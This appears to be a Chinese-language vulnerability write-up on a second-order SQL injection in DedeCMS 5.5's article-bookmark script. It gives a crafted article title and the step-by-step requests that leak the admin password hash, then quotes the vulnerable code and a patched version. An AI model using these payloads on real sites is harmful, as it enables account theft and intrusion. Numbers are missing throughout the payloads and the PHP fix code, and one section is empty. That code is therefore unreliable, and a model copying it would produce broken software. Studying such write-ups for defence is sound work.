catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
收藏文章功能$title变量未过滤,造成二次注入
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2013-046375
2. 漏洞触发条件
0x1: 发布一个特殊构造标题的文章
http://127.0.0.1/dedecms5.5/member/content_list.php?channelid=1
//文章标题如下,目的是额外注入了一条可以查询出管理员密码的SQL语句
u',char(@`'`), (select pwd from dede_admin))#
0x2: 提交收藏请求
获取刚才发布文章的aid。例如aid=,针对这篇文章发起收藏请求
http://localhost/dedecms5.5/plus/stow.php?aid=108&type=001
0x3: 发起刚才发布的文章的"推荐"请求
http://localhost/dedecms5.5/member/mystow.php
//点击刚才发布的文章的"推荐"链接,打开如下连接
http://localhost/dedecms5.5/plus/recommend.php?type=29a53fb3c3&aid=108
//其中type=29a53fb3c3的"29a53fb3c3"为向dede_admin.pwd字段的前10位,这个时候二次注入就已经发生了
0x4: 注入后10位
后10位使用类似的步骤,不同的是发布的文章标题为
u',char(@`'`),substring((select pwd from dede_admin),))#
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2013-046375
3. 漏洞影响范围
4. 漏洞代码分析
/plus/stow.php
..
$row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' "); if(!is_array($row))
{
//这里的TITLE是从数据库里查询出来的,也就是我们发布的文章的标题
$dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".$title."','$addtime'); ");
}
..
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2014-048913
5. 防御方法
/plus/stow.php
<?php
require_once(dirname(__FILE__)."/../include/common.inc.php"); $aid = ( isset($aid) && is_numeric($aid) ) ? $aid : ;
$type=empty($type)? "" : HtmlReplace($type,);
if($aid==)
{
ShowMsg('文档id不能为空!','javascript:window.close();');
exit();
} require_once(DEDEINC."/memberlogin.class.php");
$ml = new MemberLogin(); if($ml->M_ID==)
{
ShowMsg('只有会员才允许收藏操作!','javascript:window.close();');
exit();
} //读取文档信息
$arcRow = GetOneArchive($aid);
if($arcRow['aid']=='')
{
ShowMsg("无法收藏未知文档!","javascript:window.close();");
exit();
}
extract($arcRow, EXTR_SKIP);
/**/
$title = HtmlReplace($title,);
$aid = intval($aid);
/**/
$addtime = time();
if($type==''){
$row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' AND type='' ");
if(!is_array($row))
{
$dsql->ExecuteNoneQuery("INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes($arctitle)."','$addtime'); ");
}
}else{
$row = $dsql->GetOne("Select * From `#@__member_stow` where type='$type' and (aid='$aid' And mid='{$ml->M_ID}')");
if(!is_array($row)){
$dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime,type) VALUES ('".$ml->M_ID."','$aid','$title','$addtime','$type'); ");
}
} //更新用户统计
$row = $dsql->GetOne("SELECT COUNT(*) AS nums FROM `#@__member_stow` WHERE `mid`='{$ml->M_ID}' ");
$dsql->ExecuteNoneQuery("UPDATE #@__member_tj SET `stow`='$row[nums]' WHERE `mid`='".$ml->M_ID."'"); ShowMsg('成功收藏一篇文档!','javascript:window.close();');
?>
6. 攻防思考
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